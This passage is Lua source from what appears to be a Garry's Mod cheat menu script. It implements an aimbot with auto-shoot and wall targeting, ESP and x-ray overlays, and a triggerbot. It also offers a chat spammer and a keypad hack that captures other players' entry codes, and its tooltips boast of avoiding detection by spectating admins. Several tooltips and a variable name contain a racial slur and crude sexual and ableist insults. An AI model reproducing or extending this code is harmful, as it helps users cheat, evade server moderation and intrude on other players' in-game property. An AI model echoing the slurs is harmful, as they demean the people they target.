  912. local distance = VecM["Length"](targetPos - ply:GetShootPos())
  913. if distance > maxDist && maxDist != -1 then return end
  914.  
  915. // Check if it's time to shoot yet.
  916. if CurTime() < self.NextShot then return end
  917.  
  918. // Check we got our weapon.
  919. local weap = PlyM["GetActiveWeapon"](ply)
  920. if !ValidEntity(weap) then return end
  921.  
  922. // Shoot!
  923. self:SetShooting(true)
  924. // If we're semi-auto, we want to stop holding down fire.
  925. if self:IsSemiAuto(weap) then
  926. timer.Simple(0.05, function() self:SetShooting(false) end)
  927. end
  928.  
  929. // Set the next time to shoot.
  930. self.NextShot = CurTime() + 0.1
  931. end
  932. AA:AddHook("Think", "Shoot")
  933.  
  934. // When we lose our target we stop shooting.
  935. function AA:StopShooting()
  936. self:SetShooting(false)
  937. end
  938. AA:AddHook("TargetLost", "StopShooting")
  939.  
  940. // ##################################################
  941. // Useful functions
  942. // ##################################################
  943.  
  944. function AA:AngleBetween(a, b)
  945. return math.deg(math.acos(VecM["Dot"](a, b)))
  946. end
  947.  
  948. function AA:NormalizeAngle(ang)
  949. return Angle(math.NormalizeAngle(ang.p), math.NormalizeAngle(ang.y), math.NormalizeAngle(ang.r))
  950. end
  951.  
  952. function AA:ApproachAngle(start, target, add)
  953. local diff = self:NormalizeAngle(target - start)
  954.  
  955. local vec = Vector(diff.p, diff.y, diff.r)
  956. local len = VecM["Length"](vec)
  957. vec = VecM["GetNormal"](vec) * math.min(add, len)
  958.  
  959. return start + Angle(vec.x, vec.y, vec.z)
  960. end
  961.  
  962. local notAuto = {"weapon_pistol", "weapon_rpg", "weapon_357", "weapon_crossbow"}
  963. function AA:IsSemiAuto(weap)
  964. if !ValidEntity(weap) then return end
  965. return (weap.Primary && !weap.Primary.Automatic) || table.HasValue(notAuto, EntM["GetClass"](weap))
  966. end
  967.  
  968.  
  969.  
  970.  
  971.  
  972.  
  973.  
  974.  
  975.  
  976.  
  977.  
  978.  
  979.  
  980.  
  981.  
  982.  
  983.  
  984.  
  985.  
  986.  
  987. /*----------------------------------------------------------
  988. Utilities
  989. ----------------------------------------------------------*/
  990. function CreatePos(v)
  991. local ply = LocalPlayer()
  992. local center = v:LocalToWorld( v:OBBCenter() )
  993. local min, max = v:OBBMins(), v:OBBMaxs()
  994. local dim = max - min local z = max + min
  995. local frt = ( v:GetForward() ) * ( dim.y / 2 )
  996. local rgt = ( v:GetRight() ) * ( dim.x / 2 )
  997. local top = ( v:GetUp() ) * ( dim.z / 2 )
  998. local bak = ( v:GetForward() * -1 ) * ( dim.y / 2 )
  999. local lft = ( v:GetRight() * -1 ) * ( dim.x / 2 )
  1000. local btm = ( v:GetUp() * -1 ) * ( dim.z / 2 )
  1001. local s = 1
  1002. local FRT = center + frt / s + rgt / s + top / s; FRT = FRT:ToScreen()
  1003. local BLB = center + bak / s + lft / s + btm / s; BLB = BLB:ToScreen()
  1004. local FLT = center + frt / s + lft / s + top / s; FLT = FLT:ToScreen()
  1005. local BRT = center + bak / s + rgt / s + top / s; BRT = BRT:ToScreen()
  1006. local BLT = center + bak / s + lft / s + top / s; BLT = BLT:ToScreen()
  1007. local FRB = center + frt / s + rgt / s + btm / s; FRB = FRB:ToScreen()
  1008. local FLB = center + frt / s + lft / s + btm / s; FLB = FLB:ToScreen()
  1009. local BRB = center + bak / s + rgt / s + btm / s; BRB = BRB:ToScreen()
  1010. local z = 100
  1011. if ( v:Health() <= 50 ) then z = 100 end
  1012. local x, y = ( ( v:Health() / 100 ) ), 1
  1013. if ( v:Health() <= 0 ) then x = 1 end
  1014. local FRT3 = center + frt + rgt + top / x; FRT3 = FRT3; FRT3 = FRT3:ToScreen()
  1015. local BLB3 = center + bak + lft + btm / x; BLB3 = BLB3; BLB3 = BLB3:ToScreen()
  1016. local FLT3 = center + frt + lft + top / x; FLT3 = FLT3; FLT3 = FLT3:ToScreen()
  1017. local BRT3 = center + bak + rgt + top / x; BRT3 = BRT3; BRT3 = BRT3:ToScreen()
  1018. local BLT3 = center + bak + lft + top / x; BLT3 = BLT3; BLT3 = BLT3:ToScreen()
  1019. local FRB3 = center + frt + rgt + btm / x; FRB3 = FRB3; FRB3 = FRB3:ToScreen()
  1020. local FLB3 = center + frt + lft + btm / x; FLB3 = FLB3; FLB3 = FLB3:ToScreen()
  1021. local BRB3 = center + bak + rgt + btm / x; BRB3 = BRB3; BRB3 = BRB3:ToScreen()
  1022. local x, y, z = 1.1, 0.9, 1
  1023. local FRT2 = center + frt / y + rgt / z + top / x; FRT2 = FRT2:ToScreen()
  1024. local BLB2 = center + bak / y + lft / z + btm / x; BLB2 = BLB2:ToScreen()
  1025. local FLT2 = center + frt / y + lft / z + top / x; FLT2 = FLT2:ToScreen()
  1026. local BRT2 = center + bak / y + rgt / z + top / x; BRT2 = BRT2:ToScreen()
  1027. local BLT2 = center + bak / y + lft / z + top / x; BLT2 = BLT2:ToScreen()
  1028. local FRB2 = center + frt / y + rgt / z + btm / x; FRB2 = FRB2:ToScreen()
  1029. local FLB2 = center + frt / y + lft / z + btm / x; FLB2 = FLB2:ToScreen()
  1030. local BRB2 = center + bak / y + rgt / z + btm / x; BRB2 = BRB2:ToScreen()
  1031. local maxX = math.max( FRT.x,BLB.x,FLT.x,BRT.x,BLT.x,FRB.x,FLB.x,BRB.x )
  1032. local minX = math.min( FRT.x,BLB.x,FLT.x,BRT.x,BLT.x,FRB.x,FLB.x,BRB.x )
  1033. local maxY = math.max( FRT.y,BLB.y,FLT.y,BRT.y,BLT.y,FRB.y,FLB.y,BRB.y )
  1034. local minY = math.min( FRT.y,BLB.y,FLT.y,BRT.y,BLT.y,FRB.y,FLB.y,BRB.y )
  1035. local minYhp2 = math.min( FRT.y,BLB.y,FLT.y,BRT.y,BLT.y,FRB.y,FLB.y,BRB.y )
  1036. local maxXhp = math.max( FRT3.x,BLB3.x,FLT3.x,BRT3.x,BLT3.x,FRB3.x,FLB3.x,BRB3.x )
  1037. local minXhp = math.min( FRT3.x,BLB3.x,FLT3.x,BRT3.x,BLT3.x,FRB3.x,FLB3.x,BRB3.x )
  1038. local maxYhp = math.max( FRT3.y,BLB3.y,FLT3.y,BRT3.y,BLT3.y,FRB3.y,FLB3.y,BRB3.y )
  1039. local minYhp = math.min( FRT3.y,BLB3.y,FLT3.y,BRT3.y,BLT3.y,FRB3.y,FLB3.y,BRB3.y )
  1040. local maxX2 = math.max( FRT2.x,BLB2.x,FLT2.x,BRT2.x,BLT2.x,FRB2.x,FLB2.x,BRB2.x )
  1041. local minX2 = math.min( FRT2.x,BLB2.x,FLT2.x,BRT2.x,BLT2.x,FRB2.x,FLB2.x,BRB2.x )
  1042. local maxY2 = math.max( FRT2.y,BLB2.y,FLT2.y,BRT2.y,BLT2.y,FRB2.y,FLB2.y,BRB2.y )
  1043. local minY2 = math.min( FRT2.y,BLB2.y,FLT2.y,BRT2.y,BLT2.y,FRB2.y,FLB2.y,BRB2.y )
  1044. return maxX, minX, maxY, minY, maxX2, minX2, maxY2, minY2, minYhp, maxYhp
  1045. end
  1046.  
  1047. function IsCloseEnough(ent)
  1048. local dist = ent:GetPos():Distance( LocalPlayer():GetPos() )
  1049. if( dist <= 50000 and ent:GetPos() != Vector( 0, 0, 0 ) ) then
  1050. return true
  1051. end
  1052. return false
  1053. end
  1054.  
  1055.  
  1056. /*------------------------------------------
  1057. Menu
  1058. ------------------------------------------*/
  1059.  
  1060. concommand.Add( "jav_menu", function( )
  1061.  
  1062. local ColScheme = Color(GetConVarNumber("jav_colour_r"), GetConVarNumber("jav_colour_g"), GetConVarNumber("jav_colour_b"), 255)
  1063.  
  1064. Menu = vgui.Create("DFrame")
  1065. Menu:SetSize(800,560)
  1066. Menu:SetTitle(jav_version.." :::::: Created by LegendofRobbo")
  1067. Menu:Center()
  1068. Menu:MakePopup()
  1069. Menu.Paint = function()
  1070. surface.SetDrawColor( 0, 0, 0, 200 )
  1071. surface.DrawRect( 0, 0, Menu:GetWide(), Menu:GetTall() )
  1072. surface.SetDrawColor( 255,150,0,255 )
  1073. surface.DrawRect( 10, 50, 150, 2 )
  1074. surface.SetDrawColor( 255,0,0,255 )
  1075. surface.DrawRect( 10, 260, 150, 2 )
  1076. surface.SetDrawColor( 0,255,150,255 )
  1077. surface.DrawRect( 440, 50, 150, 2 )
  1078. surface.SetDrawColor( 0,150,255,255 )
  1079. surface.DrawRect( 440, 200, 150, 2 )
  1080. surface.SetDrawColor( 150,255,0,255 )
  1081. surface.DrawRect( 440, 400, 150, 2 )
  1082. surface.SetDrawColor( GColScheme )
  1083. surface.DrawOutlinedRect( 0, 0, Menu:GetWide(), Menu:GetTall() )
  1084.  
  1085. end
  1086.  
  1087. local ESPenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1088. ESPenable:SetPos( 10, 30 )
  1089. ESPenable:SetParent(Menu)
  1090. ESPenable:SetValue( 0 )
  1091. ESPenable:SetText( "ESP Enabled" )
  1092. ESPenable:SetConVar( "jav_esp_enabled" )
  1093. ESPenable:SetToolTip( "see players positions and other relevant info" )
  1094. ESPenable:SizeToContents()
  1095.  
  1096. local Xraydistlabel = vgui.Create( "DLabel", Panel )
  1097. Xraydistlabel:SetParent(Menu)
  1098. Xraydistlabel:SetPos( 115, 180 )
  1099. Xraydistlabel:SetText( "Range (Metres):" )
  1100. Xraydistlabel:SizeToContents()
  1101.  
  1102. local ESPdistlabel = vgui.Create( "DLabel", Panel )
  1103. ESPdistlabel:SetParent(Menu)
  1104. ESPdistlabel:SetPos( 115, 30 )
  1105. ESPdistlabel:SetText( "Range (Metres):" )
  1106. ESPdistlabel:SizeToContents()
  1107.  
  1108. local ABangle = vgui.Create( "DLabel", Panel )
  1109. ABangle:SetParent(Menu)
  1110. ABangle:SetPos( 135, 270 )
  1111. ABangle:SetText( "Max Snap Angle:" )
  1112. ABangle:SizeToContents()
  1113.  
  1114. local ABgrace = vgui.Create( "DLabel", Panel )
  1115. ABgrace:SetParent(Menu)
  1116. ABgrace:SetPos( 165, 350 )
  1117. ABgrace:SetText( "Grace Time:" )
  1118. ABgrace:SizeToContents()
  1119.  
  1120. local ABauto = vgui.Create( "DLabel", Panel )
  1121. ABauto:SetParent(Menu)
  1122. ABauto:SetPos( 10, 390 )
  1123. ABauto:SetText( "Auto Shoot Max Distance:" )
  1124. ABauto:SizeToContents()
  1125.  
  1126. local ABanglebox = vgui.Create( "DNumberWang" )// Create the checkbox
  1127. ABanglebox:SetPos( 220, 266 )
  1128. ABanglebox:SetParent(Menu)
  1129. ABanglebox:SetMin(0)
  1130. ABanglebox:SetMax(90)
  1131. ABanglebox:SetConVar( "jav_aa_angle" )
  1132. ABanglebox:SetToolTip( "how far the aimbot can snap from the cursor in degrees, smaller values make it harder for spectating admins to detect your hax" )
  1133.  
  1134. local ABgracebox = vgui.Create( "DNumberWang" )// Create the checkbox
  1135. ABgracebox:SetPos( 225, 346 )
  1136. ABgracebox:SetParent(Menu)
  1137. ABgracebox:SetMin(0)
  1138. ABgracebox:SetMax(20)
  1139. ABgracebox:SetConVar( "jav_aa_snaponaimgrace" )
  1140. ABgracebox:SetToolTip( "how long you will remain snapped after aiming/right clicking (in seconds)" )
  1141.  
  1142. local ABautobox = vgui.Create( "DNumberWang" )// Create the checkbox
  1143. ABautobox:SetPos( 140, 386 )
  1144. ABautobox:SetParent(Menu)
  1145. ABautobox:SetMin(0)
  1146. ABautobox:SetMax(10000)
  1147. ABautobox:SetConVar( "jav_aa_autoshoot" )
  1148. ABautobox:SetToolTip( "the maximum distance in metres that the hack will automatically shoot for you at (set to 0 to disable autoshoot)" )
  1149.  
  1150. local EntFbutton = vgui.Create( "DButton" )
  1151. EntFbutton:SetParent( Menu )
  1152. EntFbutton:SetPos( 10, 180 )
  1153. EntFbutton:SetTextColor( Color(255, 255, 255, 255) )
  1154. EntFbutton:SetSize( 90, 15 )
  1155. EntFbutton:SetToolTip( "Turn the x-ray on, it helps a lot when propkilling" )
  1156. EntFbutton.Paint = function()
  1157. surface.SetDrawColor( 90, 60, 0, 200 )
  1158. EntFbutton:SetText( "Toggle X-ray" )
  1159. surface.DrawRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() )
  1160. surface.SetDrawColor( 0, 0, 0, 255 )
  1161. surface.DrawOutlinedRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() , 2)
  1162. end
  1163. EntFbutton.DoClick = function()
  1164. RunConsoleCommand("jav_xray_toggle")
  1165. end
  1166.  
  1167. local Xraymaxdist = vgui.Create( "DNumberWang" )// Create the checkbox
  1168. Xraymaxdist:SetPos( 200, 176 )
  1169. Xraymaxdist:SetParent(Menu)
  1170. Xraymaxdist:SetMin(0)
  1171. Xraymaxdist:SetMax(10000)
  1172. Xraymaxdist:SetConVar( "jav_xray_distance" )
  1173. Xraymaxdist:SetToolTip( "sets the range of your xray vision in metres" )
  1174.  
  1175. local ESPmaxdist = vgui.Create( "DNumberWang" )// Create the checkbox
  1176. ESPmaxdist:SetPos( 200, 26 )
  1177. ESPmaxdist:SetParent(Menu)
  1178. ESPmaxdist:SetMin(0)
  1179. ESPmaxdist:SetMax(10000)
  1180. ESPmaxdist:SetConVar( "jav_esp_distance" )
  1181. ESPmaxdist:SetToolTip( "sets the range of the esp in metres, crank this down if you are getting fps lag from the hack" )
  1182.  
  1183. local ESPposition = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1184. ESPposition:SetPos( 10, 60 )
  1185. ESPposition:SetParent(Menu)
  1186. ESPposition:SetValue( 0 )
  1187. ESPposition:SetText( "Show Position" )
  1188. ESPposition:SetConVar( "jav_esp_position" )
  1189. ESPposition:SetToolTip( "isn't this y'know, the whole point of using an esp?" )
  1190. ESPposition:SizeToContents()
  1191.  
  1192. local ESPname = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1193. ESPname:SetPos( 10, 80 )
  1194. ESPname:SetParent(Menu)
  1195. ESPname:SetValue( 0 )
  1196. ESPname:SetText( "Show Name" )
  1197. ESPname:SetConVar( "jav_esp_names" )
  1198. ESPname:SetToolTip( "shows player names, the name will also be coloured to match their team colour" )
  1199. ESPname:SizeToContents()
  1200.  
  1201. local ESPdist = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1202. ESPdist:SetPos( 10, 100 )
  1203. ESPdist:SetParent(Menu)
  1204. ESPdist:SetValue( 0 )
  1205. ESPdist:SetText( "Show Distance" )
  1206. ESPdist:SetToolTip( "shows distance to players in metres" )
  1207. ESPdist:SetConVar( "jav_esp_showtargetdistance" )
  1208. ESPdist:SizeToContents()
  1209.  
  1210. local ESPvel = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1211. ESPvel:SetPos( 10, 120 )
  1212. ESPvel:SetParent(Menu)
  1213. ESPvel:SetValue( 0 )
  1214. ESPvel:SetText( "Show Velocity" )
  1215. ESPvel:SetConVar( "jav_esp_velocity" )
  1216. ESPvel:SetToolTip( "shows the targets velocity (WIP!)" )
  1217. ESPvel:SizeToContents()
  1218.  
  1219. local ESPadmin = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1220. ESPadmin:SetPos( 10, 140 )
  1221. ESPadmin:SetParent(Menu)
  1222. ESPadmin:SetValue( 0 )
  1223. ESPadmin:SetText( "Show Custom Ranks" )
  1224. ESPadmin:SetConVar( "jav_esp_admin" )
  1225. ESPadmin:SetToolTip( "detect any admins or custom ranks that are on the server" )
  1226. ESPadmin:SizeToContents()
  1227.  
  1228. local ESPbox = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1229. ESPbox:SetPos( 10, 160 )
  1230. ESPbox:SetParent(Menu)
  1231. ESPbox:SetValue( 0 )
  1232. ESPbox:SetText( "Show Bounding Box" )
  1233. ESPbox:SetConVar( "jav_esp_box" )
  1234. ESPbox:SetToolTip( "shows a box around the player so you can accurately guage their position" )
  1235. ESPbox:SizeToContents()
  1236.  
  1237. local Scannerenabled = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1238. Scannerenabled:SetPos( 10, 200 )
  1239. Scannerenabled:SetParent(Menu)
  1240. Scannerenabled:SetValue( 0 )
  1241. Scannerenabled:SetText( "Enable Entity Scanner" )
  1242. Scannerenabled:SetConVar( "jav_scanner_enabled" )
  1243. Scannerenabled:SetToolTip( "gives advanced info on the entity you are looking at" )
  1244. Scannerenabled:SizeToContents()
  1245.  
  1246. local Budgetenabled = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1247. Budgetenabled:SetPos( 10, 220 )
  1248. Budgetenabled:SetParent(Menu)
  1249. Budgetenabled:SetValue( 0 )
  1250. Budgetenabled:SetText( "Budget Mode" )
  1251. Budgetenabled:SetConVar( "jav_esp_budget" )
  1252. Budgetenabled:SetToolTip( "turn this on if you have a shit pc and the esp makes you lag" )
  1253. Budgetenabled:SizeToContents()
  1254.  
  1255. local Misclabel = vgui.Create( "DLabel", Panel )
  1256. Misclabel:SetParent(Menu)
  1257. Misclabel:SetPos( 465, 30 )
  1258. Misclabel:SetText( "Miscellaneous Tools" )
  1259. Misclabel:SizeToContents()
  1260.  
  1261. local Bhopenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1262. Bhopenable:SetPos( 425, 60 )
  1263. Bhopenable:SetParent(Menu)
  1264. Bhopenable:SetValue( 0 )
  1265. Bhopenable:SetText( "Enable Bhop" )
  1266. Bhopenable:SetConVar( "jav_bhop_enabled" )
  1267. Bhopenable:SetToolTip( "hold space to bounce around like yo mummas ass when shes riding a huge black cock" )
  1268. Bhopenable:SizeToContents()
  1269.  
  1270. local niggers = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1271. niggers:SetPos( 425, 430 )
  1272. niggers:SetParent(Menu)
  1273. niggers:SetValue( 0 )
  1274. niggers:SetText( "Auto Click" )
  1275. niggers:SetConVar( "jav_autoclick_enabled" )
  1276. niggers:SetToolTip( "turn this on for rope spamming and lulz" )
  1277. niggers:SizeToContents()
  1278.  
  1279. local Mirrorenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1280. Mirrorenable:SetPos( 425, 80 )
  1281. Mirrorenable:SetParent(Menu)
  1282. Mirrorenable:SetValue( 0 )
  1283. Mirrorenable:SetText( "Enable Mirror" )
  1284. Mirrorenable:SetConVar( "jav_mirror_enabled" )
  1285. Mirrorenable:SetToolTip( "enables the rear vision mirror so people cant sneak up on you and fuck you in the ass" )
  1286. Mirrorenable:SizeToContents()
  1287.  
  1288. local Crossenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1289. Crossenable:SetPos( 425, 100 )
  1290. Crossenable:SetParent(Menu)
  1291. Crossenable:SetValue( 0 )
  1292. Crossenable:SetText( "Enable Crosshair" )
  1293. Crossenable:SetConVar( "jav_crosshair_enabled" )
  1294. Crossenable:SetToolTip( "draws a nice circular crosshair" )
  1295. Crossenable:SizeToContents()
  1296.  
  1297. local Flashlightenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1298. Flashlightenable:SetPos( 425, 120 )
  1299. Flashlightenable:SetParent(Menu)
  1300. Flashlightenable:SetValue( 0 )
  1301. Flashlightenable:SetText( "Enable Flashlight Spam" )
  1302. Flashlightenable:SetConVar( "jav_flashlight_enabled" )
  1303. Flashlightenable:SetToolTip( "rave party!" )
  1304. Flashlightenable:SizeToContents()
  1305.  
  1306. local Nightvisenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1307. Nightvisenable:SetPos( 425, 140 )
  1308. Nightvisenable:SetParent(Menu)
  1309. Nightvisenable:SetValue( 0 )
  1310. Nightvisenable:SetText( "Enable Night Vision" )
  1311. Nightvisenable:SetConVar( "mat_fullbright" )
  1312. Nightvisenable:SetToolTip( "requires sv_cheats bypasser" )
  1313. Nightvisenable:SizeToContents()
  1314.  
  1315. local Witnessenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1316. Witnessenable:SetPos( 425, 160 )
  1317. Witnessenable:SetParent(Menu)
  1318. Witnessenable:SetValue( 0 )
  1319. Witnessenable:SetText( "Enable Witness Detection" )
  1320. Witnessenable:SetConVar( "jav_witness_enabled" )
  1321. Witnessenable:SetToolTip( "allows you to see if anybody else can see you, useful for stealthy trolling" )
  1322. Witnessenable:SizeToContents()
  1323.  
  1324. local Tbotenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1325. Tbotenable:SetPos( 425, 410 )
  1326. Tbotenable:SetParent(Menu)
  1327. Tbotenable:SetValue( 0 )
  1328. Tbotenable:SetText( "Enable Triggerbot" )
  1329. Tbotenable:SetConVar( "jav_triggerbot_enabled" )
  1330. Tbotenable:SetToolTip( "activate the triggerbot (fires your gun automatically when you look at somebody)" )
  1331. Tbotenable:SizeToContents()
  1332.  
  1333. local glabel = vgui.Create( "DLabel", Panel )
  1334. glabel:SetParent(Menu)
  1335. glabel:SetPos( 460, 180 )
  1336. glabel:SetText( "More Misc Tools" )
  1337. glabel:SizeToContents()
  1338.  
  1339. local Murderenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1340. Murderenable:SetPos( 425, 210 )
  1341. Murderenable:SetParent(Menu)
  1342. Murderenable:SetValue( 0 )
  1343. Murderenable:SetText( "Enable Murder Hack (broken)" )
  1344. Murderenable:SetConVar( "jav_murderhax" )
  1345. Murderenable:SetToolTip( "a special esp for the gamemode 'murder', tells you where all the murderers, gun holders and loot items are at" )
  1346. Murderenable:SizeToContents()
  1347.  
  1348. local TTTenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1349. TTTenable:SetPos( 425, 230 )
  1350. TTTenable:SetParent(Menu)
  1351. TTTenable:SetValue( 0 )
  1352. TTTenable:SetText( "Enable TTT Hack" )
  1353. TTTenable:SetConVar( "jav_ttthax" )
  1354. TTTenable:SetToolTip( "no traitor scum will be able to hide their presence from you with this hack turned on" )
  1355. TTTenable:SizeToContents()
  1356.  
  1357. local keypadbutton = vgui.Create( "DCheckBoxLabel" )
  1358. keypadbutton:SetPos( 425, 250 )
  1359. keypadbutton:SetParent(Menu)
  1360. keypadbutton:SetValue( 0 )
  1361. keypadbutton:SetText( "Enable DarkRP Keypad Hack" )
  1362. keypadbutton:SetConVar( "jav_keypadhax" )
  1363. keypadbutton:SetToolTip( "Waltz right into peoples bases using this useful little hack, works by saving down the correct key code as soon as anybody on the server types it into that keypad" )
  1364. keypadbutton:SizeToContents()
  1365.  
  1366. local glabel = vgui.Create( "DLabel", Panel )
  1367. glabel:SetParent(Menu)
  1368. glabel:SetPos( 470, 380 )
  1369. glabel:SetText( "Legacy/Experimental" )
  1370. glabel:SizeToContents()
  1371.  
  1372. local ABlabel = vgui.Create( "DLabel", Panel )
  1373. ABlabel:SetParent(Menu)
  1374. ABlabel:SetPos( 50, 240 )
  1375. ABlabel:SetText( "Aimbot Options" )
  1376. ABlabel:SizeToContents()
  1377.  
  1378. local ABenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1379. ABenable:SetPos( 10, 270 )
  1380. ABenable:SetParent(Menu)
  1381. ABenable:SetValue( 0 )
  1382. ABenable:SetText( "Aimbot Enabled" )
  1383. ABenable:SetConVar( "jav_autoaim_enabled" )
  1384. ABenable:SetToolTip( "why aim when you can let this handy little script do all the work for you" )
  1385. ABenable:SizeToContents()
  1386.  
  1387. local ABfriends = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1388. ABfriends:SetPos( 10, 290 )
  1389. ABfriends:SetParent(Menu)
  1390. ABfriends:SetValue( 0 )
  1391. ABfriends:SetText( "Target Steam Friends" )
  1392. ABfriends:SetConVar( "jav_aa_targetfriends" )
  1393. ABfriends:SetToolTip( "turn this off to protect your buddies from your script fuelled wrath" )
  1394. ABfriends:SizeToContents()
  1395.  
  1396. local ABteam = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1397. ABteam:SetPos( 10, 310 )
  1398. ABteam:SetParent(Menu)
  1399. ABteam:SetValue( 0 )
  1400. ABteam:SetText( "Target Teammates" )
  1401. ABteam:SetConVar( "jav_aa_targetteam" )
  1402. ABteam:SetToolTip( "turn this off if you don't want to be a team killing bastard" )
  1403. ABteam:SizeToContents()
  1404.  
  1405. local ABheads = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1406. ABheads:SetPos( 10, 330 )
  1407. ABheads:SetParent(Menu)
  1408. ABheads:SetValue( 0 )
  1409. ABheads:SetText( "Headshot Mode" )
  1410. ABheads:SetConVar( "jav_aa_headshot" )
  1411. ABheads:SetToolTip( "turn this on to always target enemy heads, turn it off to target their centre of mass" )
  1412. ABheads:SizeToContents()
  1413.  
  1414. local ABsnaponaim = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1415. ABsnaponaim:SetPos( 10, 350 )
  1416. ABsnaponaim:SetParent(Menu)
  1417. ABsnaponaim:SetValue( 0 )
  1418. ABsnaponaim:SetText( "Only Snap When Aiming" )
  1419. ABsnaponaim:SetConVar( "jav_aa_snaponaim" )
  1420. ABsnaponaim:SetToolTip( "makes it so the aimbot only snaps when aiming (right mouse is pressed)" )
  1421. ABsnaponaim:SizeToContents()
  1422.  
  1423. local RadarBox = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1424. RadarBox:SetPos( 425, 330 )
  1425. RadarBox:SetParent(Menu)
  1426. RadarBox:SetValue( 0 )
  1427. RadarBox:SetText( "Enable Radar" )
  1428. RadarBox:SetConVar( "jav_radar_enabled" )
  1429. RadarBox:SetToolTip( "turn the radar on and off" )
  1430. RadarBox:SizeToContents()
  1431.  
  1432. local LElabel = vgui.Create( "DLabel", Panel )
  1433. LElabel:SetParent(Menu)
  1434. LElabel:SetPos( 595, 315 )
  1435. LElabel:SetText( "Radar Size:" )
  1436. LElabel:SizeToContents()
  1437.  
  1438. local LElabel = vgui.Create( "DLabel", Panel )
  1439. LElabel:SetParent(Menu)
  1440. LElabel:SetPos( 665, 315 )
  1441. LElabel:SetText( "Radar FOV:" )
  1442. LElabel:SizeToContents()
  1443.  
  1444. local RadarSize = vgui.Create( "DNumberWang" )// Create the checkbox
  1445. RadarSize:SetPos( 595, 330 )
  1446. RadarSize:SetParent(Menu)
  1447. RadarSize:SetMin(0)
  1448. RadarSize:SetMax(2000)
  1449. RadarSize:SetConVar( "jav_radar_size" )
  1450. RadarSize:SetToolTip( "Controls the onscreen size of your radar" )
  1451.  
  1452. local RadarFOV = vgui.Create( "DNumberWang" )// Create the checkbox
  1453. RadarFOV:SetPos( 665, 330 )
  1454. RadarFOV:SetParent(Menu)
  1455. RadarFOV:SetMin(0)
  1456. RadarFOV:SetMax(200)
  1457. RadarFOV:SetConVar( "jav_radar_fov" )
  1458. RadarFOV:SetToolTip( "Controls the field of vision of your radar, bigger numbers means your radar will extend further but close targets may appear too bunched up on high fov" )
  1459.  
  1460. local ABignorewalls = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1461. ABignorewalls:SetPos( 10, 370 )
  1462. ABignorewalls:SetParent(Menu)
  1463. ABignorewalls:SetValue( 0 )
  1464. ABignorewalls:SetText( "Ignore Walls" )
  1465. ABignorewalls:SetConVar( "jav_aa_ignorewalls" )
  1466. ABignorewalls:SetToolTip( "whether or not the aimbot can target people through walls" )
  1467. ABignorewalls:SizeToContents()
  1468.  
  1469. local EntFbutton = vgui.Create( "DButton" )
  1470. EntFbutton:SetParent( Menu )
  1471. EntFbutton:SetPos( 425, 270 )
  1472. EntFbutton:SetTextColor( Color(255, 255, 255, 255) )
  1473. EntFbutton:SetSize( 160, 15 )
  1474. EntFbutton:SetToolTip( "Toggle this to spam 5 dollar notes everywhere" )
  1475. EntFbutton.Paint = function()
  1476. surface.SetDrawColor( 0, 60, 0, 200 )
  1477. EntFbutton:SetText( "Vomit Cash (DarkRP)" )
  1478. surface.DrawRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() )
  1479. surface.SetDrawColor( 0, 0, 0, 255 )
  1480. surface.DrawOutlinedRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() , 2)
  1481. end
  1482. EntFbutton.DoClick = function()
  1483. RunConsoleCommand("jav_vomitcash")
  1484. end
  1485.  
  1486. local EntFbutton = vgui.Create( "DButton" )
  1487. EntFbutton:SetParent( Menu )
  1488. EntFbutton:SetPos( 425, 290 )
  1489. EntFbutton:SetTextColor( Color(255, 255, 255, 255) )
  1490. EntFbutton:SetSize( 160, 15 )
  1491. EntFbutton:SetToolTip( "Toggle this to shit up chat" )
  1492. EntFbutton.Paint = function()
  1493. surface.SetDrawColor( 90, 60, 0, 200 )
  1494. EntFbutton:SetText( "Chat Spammer" )
  1495. surface.DrawRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() )
  1496. surface.SetDrawColor( 0, 0, 0, 255 )
  1497. surface.DrawOutlinedRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() , 2)
  1498. end
  1499. EntFbutton.DoClick = function()
  1500. RunConsoleCommand("jav_chatspam")
  1501. end
  1502.  
  1503. local EntFbutton = vgui.Create( "DButton" )
  1504. EntFbutton:SetParent( Menu )
  1505. EntFbutton:SetPos( 425, 310 )
  1506. EntFbutton:SetTextColor( Color(255, 255, 255, 255) )
  1507. EntFbutton:SetSize( 160, 15 )
  1508. EntFbutton:SetToolTip( "Spin around like a spastic, will not work when the aimbot is activated" )
  1509. EntFbutton.Paint = function()
  1510. surface.SetDrawColor( 90, 90, 0, 200 )
  1511. EntFbutton:SetText( "Spinbot" )
  1512. surface.DrawRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() )
  1513. surface.SetDrawColor( 0, 0, 0, 255 )
  1514. surface.DrawOutlinedRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() , 2)
  1515. end
  1516. EntFbutton.DoClick = function()
  1517. RunConsoleCommand("jav_spinbot")
